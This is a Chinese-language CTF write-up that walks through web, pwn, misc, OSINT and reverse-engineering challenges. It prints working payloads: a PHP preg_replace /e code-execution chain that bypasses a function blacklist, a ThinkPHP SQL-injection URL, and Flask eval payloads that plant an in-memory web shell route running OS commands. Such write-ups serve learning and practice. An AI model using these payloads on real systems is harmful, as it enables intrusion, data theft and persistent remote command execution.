# Web
# Please_RCE_Me
GET传参输入?moran=flag,之后获取源码:
1 |
|
这个是RCE吗?
审一审。成功找到了漏洞点,preg_replace("/please_give_me_flag/ei",![](https://www.yuque.com/api/services/graph/generate_redirect/latex?_POST%5B'task'%5D%2C#card=math&code=_POST%5B%27task%27%5D%2C&id=o3Kvv)_POST['flag']);可以看到,存在/e模式,再看看PHP版本,5.6.40,可能存在/e的命令执行漏洞。
前面,需要绕的Waf第一个为:
1 | preg_match('/system|eval|assert|call|create|preg|sort|{|}|filter|exec|passthru|proc|open|echo|`| |.|include|require|flag/i',$str1) |
这个绕过先放放,看看后面两个:
strlen(str2) != 19 || preg_match(’/please_give_me_flag/’,str2)
因为都是逻辑或,所以得让他们都为False,刚好,please_give_me_flag 长度为19,第二个正则刚好是大小写敏感,所以大小写混合绕过。
然后就是补充下关于/e模式的问题:
preg_replace 使用了 /e 模式,导致可以代码执行,而且该函数的第一个和第三个参数都是我们可以控制的。我们都知道, preg_replace 函数在匹配到符号正则的字符串时,会将替换字符串(也就是上图 preg_replace 函数的第二个参数)当做代码来执行
最后尝试下phpinfo:
1 | //POST传参 |
成功打出组合拳。
再回头看看第一个过滤,看上去几乎把所有的shell函数都过滤了。推测flag在根目录,那么学着使用无参数RCE的方式打这套组合拳,payload如下:
flag=Please_give_me_flag&task=chdir("/")|highlight_file(scandir(pos(localeconv()))[7])
最后得到 flag
# ez_tp(复现)
看起来像是 thinkphp 的题,不过,是非预期的题,用平常的 payload 一把梭怕是不对,所以,还能怎么搞?下在附件下来审审吧。
在附件 /ez_tp/App/Home/Controller 中存在 IndexController.class.php 文件,打开看看:
这应该是一个路由吧:
1 | public function h_n() |
路由应该是 h_n,那么,应该怎么打呢?不知道为啥,复现的时候日志找不到了,看 dalao 们的 wp 的时候,都说的是根据后台的日志有 payload,但是现在跑去找又找不到了。
继续往后面审计,发现了如下代码
1 | $name = I('GET.name'); |
好,知道了需要通过 get 传参,还是 GET 传参。
1 | $pattern = "insert|update|delete|and|or|\/\*|\*|\.\.\/|\.\/|into|load_file|outfile|dumpfile|sub|hex"; |
这里大概审一下就是,检测所有的键值对中,是否存在黑名单字段,所以,我们传入的参数键值对都不能出现黑名单字段,因此,文件包含和 RCE 没法打,再看看下面的这段代码:
1 | if (waf()){ |
猜测应该这儿应该有个 sql 注入存在,并且没有过滤 select,所以,根据 thinkphp 的以前的 payload,以及大佬的 wp 中说的日志中的信息,可以得知 payload 为:
1 | /index.php/home/index/h_n?name[0]=exp&name[1]=%3d%27test123%27%20union%20select%201,flag%20from%20flag |
最后得到了 flag: array (0 => array ( ‘username’ => ‘1’, ‘age’ => ‘H&NCTF {Cjp_6c3114ee-23e1-459b-ad88-9b29ccfde934}’, ), )
# ezFlask(复现)
题目没出 flask,但是好在了解了一个新的 flask 的 ssti 的姿势,记录在这儿,不知道为啥,跟着 wp 复现,却还是失败了,先记录吧,之后再改。
首先,打开网页就给了个提示:
冒险即将开始!!! 请移步 / Adventure 路由进行命令执行,后端语句为: cmd = request.form [‘cmd’] eval (cmd) 注意,你仅有一次机会,在进行唯一一次成功的命令执行后生成 flag 并写入 /flag 执行无回显,目录没权限部分命令 ban,也不要想着写文件~
# 失败情况:
大概跟他提示的一样,就是一个命令执行,不过没思路,很可惜,看了下 wp,说的是写入内存马到一个路由里,但是我复现却失败了,不知是为何,他给的内存马的 payload 能成功写入,并且能访问到写入的路由,但是,却会报 500 错误,不知是为何,等官方 wp 出了再看看是为啥吧,payload 先写在下面。
1 | cmd=render_template_string("{{url_for.__globals__['__builtins__']['eval'](\"app.add_url_rule('/shell', 'myshell', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd')).read())\",{'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],'app':url_for.__globals__['current_app']})}}") |
# 成功情况:
找到了另一个 payload,同样是内存马,payload 如下:
1 | cmd=app.add_url_rule('/test','test',lambda:__import__('os').popen(request.args.get('cmd')).read()) |
之后访问 /test?cmd=cat+/flag 成功出 flag:flag {42ae8a8b-4f88-4c45-a162-bd1881da16ea}。
# Pwn:
# close
逆天题目,纯牛马出题人,想暴打。
拿到题目第一件事儿是检查保护,这个题保护也就那样,PIE加NX。
1 | root@g01den-virtual-machine:/mnt/shared# checksec pwn |
反编译看看:
1 | int __fastcall main(int argc, const char **argv, const char **envp) |
这题目什么玩意儿?关闭了标准输出流还玩儿毛线?
算了,老老实实干就完了。经过长时间查找资料,最后找到了做法。
1 | root@g01den-virtual-machine:/mnt/shared |
心中暗暗暴打出题人两分钟泄愤。 (* ̄︿ ̄)
# ez_pwn(复现,exp 是大佬的,有时间自己再写个 exp)
看到这个题,我突然觉得我是个执杖,我还以为是出题人故意搞我心态,结果是我学艺不精的缘故,好吧,我的问题,没看出来,我摊牌了,我是个 XX。
好吧,老样子,Ubuntu 启动!!!
还是先查看保护:
1 | root@g01den-virtual-machine:/mnt/shared# checksec pwn |
然后 IDA 反编译,漏洞函数为:
1 | int vul() |
发现了点东西,就是,这里存在一些问题,就是,read 函数读取的数据为 48 字节,但是,经过动态调试得出的缓冲区 s 的大小为 44 字节,好好好,IDA 你又得记大过了。
之后,第一次不需要溢出,将缓冲区全部写满即可,因为存在 % s 这个格式串配合 printf 函数,所以,能够直接把 rbp 的值给打印出来,所以只需要接收之后,就可以拿到 rbp 的值了,然后,通过动态调试得到的 rbp 的地址与缓冲区 buf 的地址,就可以拿到字符串的地址了。
接收到了 rbp 的值之后,减去 56 就可以得到字符串的地址了。
之后则是需要通过栈调用 read 函数,向 bss 段写入 sh;(这里我没弄懂为啥不能直接传 /bin/sh,而是要传 sh; 进去),之后重新调用 main 函数重新运行程序,不过,到了这里之后会出一点问题,那就是,第二次进入 main 之后,栈的布局会发生变化,重新进入 vul 函数之后,里面的指针指向的是 vul 函数内的字符串,而不是之前那个,所以这里需要重新进行一次字符串地址的泄露,之后才能对栈进行布局来调用 system 函数。
大佬的 exp 如下:
1 | from pwn import * |
最后得到 flag:
1 | H&NCTF{06b0540d-df19-4b49-9e63-fb7b8b67f8f9} |
# Misc:
# ManCraft - 娱乐题:
一个我的世界的服务器,下载1.20.4版本之后进入服务器,根据提示,先绑定队伍的token,之后迅速发育,然后勾引金甲僵尸,也就是劳大,把它勾引到陷阱里杀死,然后就能够拿到一个key,之后用这个key就能拿到flag。
# osint(复现):
onist.png
溯源的题,一张图片,光是图片来看,似乎只有两种可能,起飞或者降落,又因为题目要求我们输入目的地,所以,如果是难度不高的话,这儿应该是目的地。
检查图片属性,发现这张照片最后依次的修改时间是 4 月 23 日下午 3 点多,这张照片很明显是晚上拍摄的,所以,照例来说,这张图应该是在之前的晚上拍摄的,所以,先从 4 月 22 日晚上到 23 日凌晨的航班来看。
另外,根据机翼上红色的那个红色的图,在网上找到了应该是海南航空的飞机,且左边数字,有个 22,大概推测注册号是 X-22XX,左边的字母,好像是根据国家不同定的,中国的是 B。
之后,搜索注册号为 B-22,能够知道有几个:
之后,通过搜索 4 月 22 日晚上到 4 月 23 日凌晨那段时间的海南航空的飞机,大致可以得到航班号为 HU7006。
拿到了航班之后,通过航班和时间搜索,能搜到起始地和目的地,目的地是海口美兰国际机场。
最后,感觉运气使然,在机场附近遇到个有点眼熟的路的弧度,抱着试一试的想法,把地址写上去,结果正确了:
最后 flag:
1 | H-NCTF{ae53219d0966} |
# Re
# 最喜欢的逆向题
签到题
v1=a1 [5]=105
64 位
#
# hnwna
一个 CSharp 写的小游戏
方法一:
用 ILSPY 打开下面的文件
搜索找到关键函数了(一开始搜索区域不对,导致找不到关键函数)
函数 a 为凯撒,if 判断那里移位为 5
加密
方法二:dnspy,类似于破解
# DO YOU KNOW SWDD?(wait)
32 位打开 ida,出现 SMC。
动态调试
在导入表中有 virtualprotect 函数,这里对内存权限进行了修改,大概率是 SMC。
看 41127B 函数 (断点位置下错了,照着 wp 都能错,服了)
看 4113D9
p 然后 f5
可知是凯撒移位 10 位
# childmaze
迷宫问题
方法一:静态分析
找到关键数据部分(不易找到),交叉引用
1 | s = "H'L@PC}Ci625`hG2]3bZK4{1~" |
方法二:调试
在判断跳转的时候下个断点修改 zf 标识符或者改为 jnz 都能实现直接输出 flag
emmIDA 版本问题吧,识别不出 rust。。。。